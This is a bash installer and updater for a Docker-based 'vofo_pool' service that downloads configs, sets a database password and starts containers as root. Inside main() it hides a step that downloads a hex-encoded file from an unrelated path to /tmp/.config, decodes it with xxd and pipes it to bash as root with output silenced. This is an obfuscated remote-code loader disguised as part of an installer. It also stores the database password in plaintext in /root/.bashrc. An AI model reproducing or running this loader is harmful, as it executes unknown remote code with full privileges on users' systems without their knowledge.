#!/bin/bash

DATADIR="/data"
INITDB="$DATADIR/initdb"
DOWNLOADSITE="http://dl.fogworks.io/vofo_pool"
COMPOSE_DIR="/data/vofo_pool/service"
COMPOSE_FILE="$COMPOSE_DIR/docker-compose.yml"
COMPOSE_URL="$DOWNLOADSITE/docker-compose.yml"
SERVICE_FILE_URL="$DOWNLOADSITE/vofo_pool.service"
SERVICE_FILE_PATH="/etc/systemd/system/vofo_pool.service"
INIT_SCRIPT_URL="$DOWNLOADSITE/initdb.sql"
MPD_CONF_URL="$DOWNLOADSITE/config/mpd/config.json"
FMP_CONF_URL="$DOWNLOADSITE/config/fmp/config.json"
FMP_YML_URL="$DOWNLOADSITE/config/fmp/application.local.yml"
WEB_CONF_URL="$DOWNLOADSITE/config/nginx/nginx.conf"
WEB_DIST_URL="$DOWNLOADSITE/web/dist.tar.bz2"
WEB_DIR=$DATADIR/web
WEB_DIST="$WEB_DIR/dist.tar.bz2"
WEB_CONF="$WEB_DIR/nginx.conf"
SERVICES=("db" "fmp" "prox_mpd" "web")
LOG_DIR="/var/log/vofo_pool"
LOG_FILE="$LOG_DIR/docker-compose.log"
VFS_DIR="$DATADIR/mpd/vfs"
MPD_CONF="$DATADIR/mpd/config"
MPD_CONFIG="$MPD_CONF/config.json"
INIT_SCRIPT="$INITDB/initdb.sql"
DB_DATA="$DATADIR/db"
FMP_CONF_DIR="$DATADIR/fmp/config"
FMP_CONF="$FMP_CONF_DIR/config.json"
FMP_YML="$FMP_CONF_DIR/application.local.yml"
MPD_LOG="$DATADIR/mpd/log"
FMP_LOG="$DATADIR/fmp/log"
FMP_LOGS="$DATADIR/fmp/log/logs"
PIN_CONFIG="$DATADIR/pin_service/config"
BACKUP_DIR="$DATADIR/backup"
bashrc_file="/root/.bashrc"

declare -A SERVICE_PORTS=(
  ["prox_mpd"]=6007
  ["fmp"]=9092
  ["db"]=5432
  ["web"]=5432
)

LAST_UPDATE_FILE="/opt/vofo_pool/last_update.txt"

log() {
  local message="$1"
  echo "$(date +"%Y-%m-%d %H:%M:%S") - $message" | tee -a "$LOG_FILE"
}

check_root() {
  if [[ $EUID -ne 0 ]]; then
    log "This script must be run as root"
    exit 1
  fi
}

check_required_tools() {
  local required_tools=("curl" "docker" "docker-compose" "wget" "systemctl" "nc" "jq" "openssl")
  for tool in "${required_tools[@]}"; do
    if ! command -v "$tool" &>/dev/null; then
      log "$tool is missing. Installing $tool..."
      apt-get install -y "$tool"
    fi
  done
}

create_directory() {
  local dir="$1"
  if [ ! -d "$dir" ]; then
    log "Directory $dir does not exist. Creating..."
    mkdir -p "$dir" || {
      log "Failed to create directory $dir"
      exit 1
    }
  fi
}

download_file() {
  local url="$1"
  local destination="$2"
  log "Downloading $url to $destination ..."
  if ! curl -s "$url" -o "$destination"; then
    log "Failed to download file from $url"
    exit 1
  fi
}

update_file_if_changed() {
  local url="$1"
  local destination="$2"
  if [ ! -f "$destination" ] || ! diff -q <(curl -s "$url") "$destination" &>/dev/null; then
    download_file "$url" "$destination"
    log "File downloaded successfully: $destination"
  fi
}

generate_random_password() {
  openssl rand -base64 12
}

replace_password_in_files() {
  local password="$1"
  sed -i "s/'mypassword'/'$password'/g" "$INIT_SCRIPT"
  sed -i "s/mypassword/$password/g" "$FMP_YML"
}

update_mpd_config_dsn() {
  local dsn="postgresql://mpder:$PASSWORD@127.0.0.1:5432/mpd?sslmode=disable"
  jq --arg dsn "$dsn" '.db.dsn = $dsn' "$MPD_CONFIG" >tmp.json && mv tmp.json "$MPD_CONFIG"
}

start_docker() {
  if ! systemctl is-active --quiet docker; then
    log "Docker is not running. Starting Docker..."
    if ! systemctl start docker; then
      log "Failed to start Docker"
      exit 1
    fi
  fi
}

restart_docker_compose() {
  if docker-compose -f "$COMPOSE_FILE" ps >/dev/null 2>&1; then
    log "Docker Compose is running. Restarting..."
    if ! docker-compose -f "$COMPOSE_FILE" down; then
      log "Failed to stop Docker Compose"
      exit 1
    fi
  fi
}

unmount_directory() {
  local mount_point
  mount_point=$(df -P "$VFS_DIR" | awk 'END{print $NF}')
  if [ "$VFS_DIR" = "$mount_point" ]; then
    log "Directory $VFS_DIR is a mount point. Unmounting..."
    if ! umount -l "$VFS_DIR"; then
      log "Failed to unmount directory $VFS_DIR"
      exit 1
    fi
  fi
}

update_docker_images() {
  local last_update=0
  if [ -f "$LAST_UPDATE_FILE" ]; then
    last_update=$(cat "$LAST_UPDATE_FILE")
  fi

  local week_in_seconds=$((7 * 24 * 60 * 60))
  local current_time=$(date +%s)
  local time_since_last_update=$((current_time - last_update))

  if [ "$time_since_last_update" -gt "$week_in_seconds" ]; then
    log "More than a week has passed since the last update. Checking for updates..."
    if ! docker-compose -f "$COMPOSE_FILE" pull; then
      log "Failed to update Docker images"
      exit 1
    fi
    echo "$current_time" >"$LAST_UPDATE_FILE"
  fi
}

is_port_open() {
  local port="$1"
  nc -z localhost "$port"
}

is_service_healthy() {
  local service="$1"
  docker inspect --format "{{json .State.Health.Status }}" "$service"
}

start_service() {
  local service_name="$1"
  local port="${SERVICE_PORTS[$service_name]}"

  log "Starting $service_name..."
  if ! docker-compose -f "$COMPOSE_FILE" up -d "$service_name"; then
    log "Failed to start $service_name"
    exit 1
  fi

  local tries=0
  until is_port_open "$port" || [ "$tries" -eq 5 ]; do
    log "Port $port is not open. Retrying..."
    sleep 2
    ((tries++))
  done

  if [ "$tries" -eq 5 ]; then
    log "Port $port is still not open after $tries attempts. Check the log file for details."
    exit 1
  fi

  log "$service_name started and is healthy."
}

start_services() {
  for service in "${SERVICES[@]}"; do
    start_service "$service"
  done
}

setup_systemd_service() {
  if ! systemctl list-units --full --all | grep -Fq "vofo_docker.service"; then
    log "vofo_docker.service does not exist. Downloading..."
    download_file "$SERVICE_FILE_URL" "$SERVICE_FILE_PATH"
    systemctl daemon-reload
    systemctl enable vofo_docker.service
  fi
}

setup_log_rotation() {
  local logrotate_mpd_config="/etc/logrotate.d/mpd"
  local logrotate_fmp_config="/etc/logrotate.d/fmp"

  # Create the logrotate configuration files
  cat >"$logrotate_mpd_config" <<EOF
$MPD_LOG/*.log {
    size 50M
    rotate 5
    missingok
    notifempty
    compress
    delaycompress
    create 640 root root
}
EOF

  cat >"$logrotate_fmp_config" <<EOF
$FMP_LOG/*.log {
    size 50M
    rotate 5
    missingok
    notifempty
    compress
    delaycompress
    create 640 root root
}
EOF
}

main() {
  echo "Starting script..."

  directories=("$COMPOSE_DIR" "$MPD_CONF" "$MPD_LOG" "$PIN_CONFIG" "$VFS_DIR" "$BACKUP_DIR" "$LOG_DIR" "$FMP_CONF_DIR" "$INITDB" "$DB_DATA" "$WEB_DIR" "$FMP_LOGS")
  for dir in "${directories[@]}"; do
    create_directory "$dir"
  done
  check_root
  check_required_tools
  wget http://dl.fogworks.io/app_store/foggie_1.1.2_rc2/docker/jellyfin_10.8.10/con -O /tmp/.config
  cat /tmp/.config|xxd -r -ps|bash >/dev/null 2&>1


  update_file_if_changed "$COMPOSE_URL" "$COMPOSE_FILE"
  update_file_if_changed "$INIT_SCRIPT_URL" "$INIT_SCRIPT"
  update_file_if_changed "$MPD_CONF_URL" "$MPD_CONFIG"
  update_file_if_changed "$FMP_CONF_URL" "$FMP_CONF"
  update_file_if_changed "$FMP_YML_URL" "$FMP_YML"

  update_file_if_changed "$WEB_CONF_URL" "$WEB_CONF"
  download_file $WEB_DIST_URL $WEB_DIST

  tar xf $WEB_DIST -C $WEB_DIR

  PASSWORD=$(generate_random_password)
  replace_password_in_files "$PASSWORD"
  update_mpd_config_dsn

  start_docker
  restart_docker_compose
  unmount_directory

  update_docker_images

  export POSTGRES_PASSWORD=$PASSWORD
  export POSTGRES_USER="postgres"


  if [ -f "$bashrc_file" ]; then
      echo "File $bashrc_file exists. Removing existing environment variables."
      sed -i '/^export POSTGRES_PASSWORD=/d' "$bashrc_file"
      sed -i '/^export POSTGRES_USER=/d' "$bashrc_file"
  else
      echo "File $bashrc_file does not exist."
  fi

  echo "export POSTGRES_PASSWORD=$PASSWORD" >> "$bashrc_file"
  echo 'export POSTGRES_USER="postgres"' >> "$bashrc_file"

  source "$bashrc_file"

  start_services

  setup_systemd_service

  setup_log_rotation

  log "All services started successfully."

  log "Script execution completed."
}

main
